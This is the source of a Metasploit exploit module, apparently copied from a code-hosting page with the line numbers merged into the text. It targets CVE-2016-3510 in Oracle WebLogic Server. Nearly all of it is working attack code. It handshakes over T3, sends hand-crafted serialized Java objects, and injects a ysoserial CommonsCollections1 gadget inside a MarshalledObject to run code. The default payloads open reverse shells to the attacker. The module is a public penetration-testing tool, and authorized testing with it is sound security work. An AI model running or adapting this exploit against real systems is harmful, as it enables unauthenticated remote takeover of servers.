Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::JavaDeserialization1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',16'Description' => %q{17An unauthenticated attacker with network access to the Oracle Weblogic Server T318interface can send a serialized object (weblogic.corba.utils.MarshalledObject)19to the interface to execute code on vulnerable hosts.20},21'Author' => [22'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)23'Jacob Baines', # Vulnerability Discovery - Tenable Network Security24'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs25'Steve Embling' # T3S support26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2016-3510']30],31'Privileged' => false,32'Platform' => %w{unix win solaris},33'Targets' => [34[35'Unix',36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },39'Payload' => {40'Compat' => { 'PayloadType' => 'cmd' }41}42],43[44'Windows',45'Platform' => 'win',46'Payload' => {},47'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }48],49[50'Solaris',51'Platform' => 'solaris',52'Arch' => ARCH_CMD,53'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },54'Payload' => {55'Space' => 2048,56'DisableNops' => true,57'Compat' =>58{59'PayloadType' => 'cmd',60'RequiredCmd' => 'generic perl telnet',61}62}63]64],65'DefaultTarget' => 0,66'DefaultOptions' => { 'WfsDelay' => 12 },67'DisclosureDate' => '2016-07-19',68'Notes' => {69'Reliability' => [REPEATABLE_SESSION],70'Stability' => [CRASH_SAFE],71'SideEffects' => [IOC_IN_LOGS]72}73)74)7576register_options([77Opt::RPORT(7001),78])7980register_advanced_options([81OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])82])83end8485=begin This check is currently incompatible with the Tcp mixin. :-(86def check87resp = send_request_cgi(88'method' => 'GET',89'uri' => '/console/login/LoginForm.jsp'90)9192return CheckCode::Unknown unless resp && resp.code == 2009394unless resp.body.include?('Oracle WebLogic Server Administration Console')95vprint_warning("Oracle WebLogic Server banner cannot be found")96return CheckCode::Unknown97end9899/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body100unless version101vprint_warning("Oracle WebLogic Server version cannot be found")102return CheckCode::Unknown103end104105version = Rex::Version.new(version)106vprint_good("Detected Oracle WebLogic Server Version: #{version}")107case108when version.to_s.start_with?('10.3')109return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')110when version.to_s.start_with?('12.1.3')111return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')112when version.to_s.start_with?('12.2')113return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')114end115116return CheckCode::Safe117end118=end119120def t3_handshake121# retrieved from network traffic122if !datastore['SSL'] || datastore['FORCE_T3']123shake = 't3'124else125shake = 't3s'126end127shake << " 12.2.1\n"128shake << "AS:255\n"129shake << "HL:19\n"130shake << "MS:10000000\n\n"131132sock.put(shake)133sleep(1)134sock.get_once135end136137def build_t3_request_object138# T3 request serialized data139# retrieved by watching network traffic140# This is a proprietary, undocumented protocol141# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?142data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'143data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'144data << '700000000a000000030000000000000006007070707070700000000a00000003'145data << '0000000000000006007006'146147data << 'fe010000' # ----- separator -----148149data << 'aced0005' # JSO v5 header150data << '73' # object header151data << '72001d' # className (29 bytes):152data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry153data << '5461626c65456e747279' # (continued)154data << '2f52658157f4f9ed' # serialVersionUID155data << '0c00007870' # remainder of object header156data << '72' # object header157data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo158data << '65726e616c2e5061636b616765496e666f' # (continued)159data << 'e6f723e7b8ae1ec9' # serialVersionUID160data << '02' # SC_SERIALIZABLE161data << '0008' # fieldCount = 8162data << '4900056d616a6f72' # 0: Int: major163data << '4900056d696e6f72' # 1: Int: minor164data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch165data << '49000b736572766963655061636b' # 3: Int: servicePack166data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch167data << '4c0009696d706c5469746c65' # 5: Obj: implTitle168data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String169data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor170data << '71007e0003' # (Handle) 0x007e0003171data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion172data << '71007e0003' # (Handle) 0x007e0003173data << '78707702000078' # block footers174175data << 'fe010000' # ----- separator -----176177data << 'aced0005' # JSO v5 header178data << '7372' # object header179data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry180data << '735461626c65456e747279' # (continued)181data << '2f52658157f4f9ed' # serialVersionUID182data << '0c' # EXTERNALIZABLE | BLOCKDATA183data << '00007870' # remainder of object header184data << '72' # object header185data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo186data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)187data << '972245516452463e' # serialVersionUID188data << '02' # SC_SERIALIZABLE189data << '0003' # fieldCount = 3190data << '5b0008' # array header (8 bytes)191data << '7061636b61676573' # ARRAY NAME = 'packages'192data << '740027' # TC_STRING className1 (39 bytes)193data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo194data << '6e7465726e616c2f5061636b616765496e666f' # (continued)195data << '3b' # (continued)196data << '4c000e' # object header (14 bytes)197data << '72656c6561736556657273696f6e' # releaseVersion198data << '740012' # TC_STRING (18 bytes)199data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes200data << '5b0012' # array header (18 bytes)201data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;202data << '740002' # TC_STRING (2 bytes)203data << '5b42' # 0x5b42 = [B204data << '78' # block footer205206data << '720024' # class (36 bytes)207data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo208data << '7465726e616c2e5061636b616765496e666f' # (continued)209data << 'e6f723e7b8ae1ec9' # serialVersionUID210211data << '02' # SC_SERIALIZABLE212data << '0008' # fieldCount = 8213data << '4900056d616a6f72' # 0: Int: major214data << '4900056d696e6f72' # 1: Int: minor215data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch216data << '49000b736572766963655061636b' # 3: Int: servicePack217data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch218data << '4c0009696d706c5469746c65' # 5: Obj: implTitle219data << '71' # TC_REFERENCE220data << '007e0004' # Handle = 0x007e0004221data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor222data << '71' # TC_REFERENCE223data << '007e0004' # Handle = 0x007e0004224data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion225data << '71' # TC_REFERENCE226data << '007e0004' # Handle = 0x007e0004227data << '78' # class footer228data << '70' # TC_NULL229data << '77020000' # BLOCKDATA (2 bytes): 0x0000230data << '78' # block footer231232data << 'fe010000' # ----- separator -----233234data << 'aced0005' # JSO v5 header235data << '73' # object header236data << '72001d' # className (29 bytes):237data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry238data << '5461626c65456e747279' # (continued)239data << '2f52658157f4f9ed' # serialVersionUID240data << '0c00007870' # remainder of object header241data << '720021' # className (33 bytes)242data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo243data << '65726e616c2e50656572496e666f' # (continued)244data << '585474f39bc908f1' # serialVersionUID245data << '02' # SC_SERIALIZABLE246data << '0006' # fieldCount = 6247data << '4900056d616a6f72' # 0: Int: major248data << '4900056d696e6f72' # 1: Int: minor249data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch250data << '49000b736572766963655061636b' # 3: Int: servicePack251data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch252data << '5b00087061636b61676573' # 5: Array: packages253data << '740027' # TC_STRING (39 bytes)254data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;255data << '6e7465726e616c2f5061636b616765496e666f' # (continued)256data << '3b' # (continued)257data << '78' # block footer258data << '720024' # class (36 bytes)259data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;260data << '65726e616c2e56657273696f6e496e666f' # (continued)261data << '972245516452463e' # serialVersionUID262data << '02' # SC_SERIALIZABLE263data << '0003' # fieldCount = 3264data << '5b0008' # 0: Array265data << '7061636b6167657371' # packages266data << '007e0003' # Handle = 0x00730003267data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion268data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;269data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes270data << '740002' # TC_STRING (2 bytes)271data << '5b42' # VALUE = 0x5b42 = [B272data << '78' # block footer273data << '720024' # class: (36 bytes)274data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo275data << '6e616c2e5061636b616765496e666f' # (continued)276data << 'e6f723e7b8ae1ec9' # serialVersionUID277data << '02' # SC_SERIALIZABLE278data << '0008' # fieldCount = 8279data << '4900056d616a6f72' # 0: Int: major280data << '4900056d696e6f72' # 1: Int: minor281data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch282data << '49000b736572766963655061636b' # 3: Int: servicePack283data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch284data << '4c0009696d706c5469746c65' # 5: Obj: implTitle285data << '71' # TC_REFERENCE286data << '007e0005' # Handle = 0x007e0005287data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor288data << '71' # TC_REFERENCE289data << '007e0005' # Handle = 0x007e0005290data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion291data << '71' # TC_REFERENCE292data << '007e0005' # Handle = 0x007e0005293data << '78' # class footer294data << '707702000078' # block footers295296data << 'fe00ff' # this cruft again. some kind of footer297298data << 'fe010000' # ----- separator -----299300# weblogic.rjvm.JVMID object301data << 'aced0005' # JSO v5 header302data << '73' # object header303data << '720013' # class (19 bytes)304data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'305data << 'dc49c23ede121e2a' # serialVersionUID306data << '0c' # EXTERNALIZABLE | BLOCKDATA307data << '0000' # fieldCount = 0 (!!!)308data << '78' # block footer309data << '70' # NULL310data << '7750' # block header (80 bytes)311data << '21' # !312data << '000000000000000000' # 9 NULL BYTES313data << '0d' # \n314data << '3139322e3136382e312e323237' # 192.168.1.227315data << '00' # \0316data << '12' # #TODO: UNKNOWN317data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6318data << '2e' # #TODO: UNKNOWN319data << '656883348cd6000000070000' # #TODO: UNKNOWN320data << rport.to_s(16).rjust(4, '0') # callback port321data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN322data << 'ffffffffff' # #TODO: UNKNOWN323data << '78' # block footer324325data << 'fe010000' # ----- separator -----326327# weblogic.rjvm.JVMID object328data << 'aced0005' # JSO v5 header329data << '73' # object header330data << '72' # class331data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID332data << 'dc49c23ede121e2a' # serialVersionUID333data << '0c' # EXTERNALIZABLE | BLOCKDATA334data << '0000' # fieldCount = 0335data << '78' # end block336data << '70' # TC_NULL337data << '77' # block header338data << '20' # length = 32 bytes339data << '0114dc42bd071a772700' # #TODO: UNKNOWN340data << '0d' # \n341data << '3234322e3231342e312e323534' # 242.214.1.254342data << '61863d1d' # #TODO: UNKNOWN343data << '00000000' # NULL BYTES344data << '78' # block footer345346sock.put([data].pack('H*'))347sleep(1)348sock.get_once349end350351def send_payload_objdata352# basic weblogic ClassTableEntry object (serialized)353# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?354objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'355objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'356objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'357358objdata << 'fe010000' # ----- separator -----359360objdata << 'aced0005' # JSO v5 header361objdata << '73' # object header362objdata << '72' # class363objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry364objdata << '73735461626c65456e747279' # (cont)365objdata << '2f52658157f4f9ed' # serialVersionUID366objdata << '0c' # EXTERNALIZABLE | BLOCKDATA367objdata << '0000' # fieldCount = 0368objdata << '7870' # remaining object header369objdata << '72' # class header370objdata << '00025b42' # Name: 0x5b42371objdata << 'acf317f8060854e0' # serialVersionUID372objdata << '02' # SERIALIZABLE373objdata << '0000' # fieldCount = 0374objdata << '7870' # class footer375objdata << '77' # block header376objdata << '020000' # contents = 0x0000377objdata << '78' # block footer378379objdata << 'fe010000' # ----- separator -----380381objdata << 'aced0005' # JSO v5 header382objdata << '73' # object header383objdata << '72' # class384objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry385objdata << '73735461626c65456e747279' # (cont)386objdata << '2f52658157f4f9ed' # serialVersionUID387objdata << '0c' # EXTERNALIZABLE | BLOCKDATA388objdata << '0000' # fieldCount = 0389objdata << '7870' # remaining object header390objdata << '72' # class header391392objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;393objdata << '6563743b' # (cont)394objdata << '90ce589f1073296c' # serialVersionUID395objdata << '02' # SERIALIZABLE396objdata << '0000' # fieldCount = 0397objdata << '7870' # remaining object header398objdata << '77' # block header399objdata << '020000' # contents = 0x0000400objdata << '78' # block footer401402objdata << 'fe010000' # ----- separator -----403404objdata << 'aced0005' # JSO v5 header405objdata << '73' # object header406objdata << '72' # class407408objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry409objdata << '73735461626c65456e747279' # (cont)410objdata << '2f52658157f4f9ed' # serialVersionUID411objdata << '0c' # SERIALIZABLE | BLOCKDATA412objdata << '0000' # fieldCount = 0413objdata << '7870' # block footer414objdata << '72' # class header415objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector416objdata << 'd9977d5b803baf01' # serialVersionUID417objdata << '03' # WRITE_METHOD | SERIALIZABLE418objdata << '0003' # fieldCount = 3419objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement420objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount421objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData422objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;423objdata << '743b' # (cont)424objdata << '7870' # remaining object header425objdata << '77' # block header426objdata << '020000' # contents = 0x0000427objdata << '78' # block footer428429objdata << 'fe010000' # ----- separator -----430431# payload generated from ysoserial and wrapped in a MarshalledObject:432objdata << 'aced0005' # JSO v5 header433objdata << '73' # object header434objdata << '72' # class header435436objdata << '00257765626c6f6769632e636f7262612e757469' # Name = weblogic.corba.utils.MarshalledObject437objdata << '6c732e4d61727368616c6c65644f626a656374' # (cont)438objdata << '592161d5f3d1dbb6' # serialVersionUID439objdata << '02' # SERIALIZABLE440objdata << '0002' # fieldCount = 2441objdata << '49000468617368' # 0: Int: hash442objdata << '5b00086f626a4279746573' # 1: Array: objBytes443objdata << '7400025b42' # Value: 0x5b42444objdata << '7870' # class footer445# class Data:446objdata << '21210fdc' # hash = 0x21210fdc (555814876d)447objdata << '757200025b42' # objBytes = [ 0x5b42 ]448objdata << 'acf317f8060854e0' # serialVersionUID449objdata << '02' # SERIALIZABLE450objdata << '0000' # fieldCount = 0451objdata << '7870' # class footer452objdata << '0000' # arraySize (first two bytes)453454# java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe455java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)456objdata << (java_payload.length).to_s(16).rjust(4, '0') # arraySize (lower two bytes)457objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join458459# basic weblogic ImmutableServiceContext object (serialized)460objdata << 'fe010000' # ----- separator -----461462objdata << 'aced0005' # JSO v5 header463objdata << '73' # object header464objdata << '72' # class465objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name = weblogic.rjvm.ImmutableServiceContext466objdata << '7461626c6553657276696365436f6e74657874' # (cont)467objdata << 'ddcba8706386f0ba' # serialVersionUID468objdata << '0c' # SERIALIZABLE | BLOCKDATA469objdata << '0000' # fieldCount = 0470objdata << '78' # remainder of object header471objdata << '72' # class header472objdata << '00297765626c6f6769632e726d692e70726f7669' # Name: weblogic.rmi.provider.BasicServiceContext473objdata << '6465722e426173696353657276696365436f6e74' # (cont)474objdata << '657874' # (cont)475objdata << 'e4632236c5d4a71e' # serialVersionUID476objdata << '0c' # SERIALIZABLE | BLOCKDATA477objdata << '0000' # fieldCount = 0478objdata << '78' # block footer479objdata << '70' # TC_NULL480objdata << '77' # block header481objdata << '020600' # Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW #TODO: WHY?482objdata << '73' # object header483objdata << '72' # class description484objdata << '00267765626c6f6769632e726d692e696e746572' # Name = weblogic.rmi.internal.MethodDescriptor485objdata << '6e616c2e4d6574686f6444657363726970746f72' # (cont)486objdata << '12485a828af7f67b' # serialVersionUID487objdata << '0c' # EXTERNALIZABLE | BLOCKDATA488objdata << '0000' # fieldCount = 0489objdata << '78' # block footer490objdata << '70' # TC_NULL491objdata << '77' # block header492objdata << '34002e61757468656e746963617465284c776562' # HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)493objdata << '6c6f6769632e73656375726974792e61636c2e55' # (cont)494objdata << '736572496e666f3b290000001b' # (cont)495objdata << '78' # block footer496objdata << '78' # object footer497498objdata << 'fe00ff' # this cruft again. some kind of footer499500# sets the length of the stream501data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')502data << objdata503504sock.put([data].pack('H*'))505sleep(1)506sock.get_once507end508509def exploit510connect511512print_status('Sending handshake...')513t3_handshake514515print_status('Sending T3 request object...')516build_t3_request_object517518print_status('Sending client object payload...')519send_payload_objdata520521handler522disconnect523end524end525526527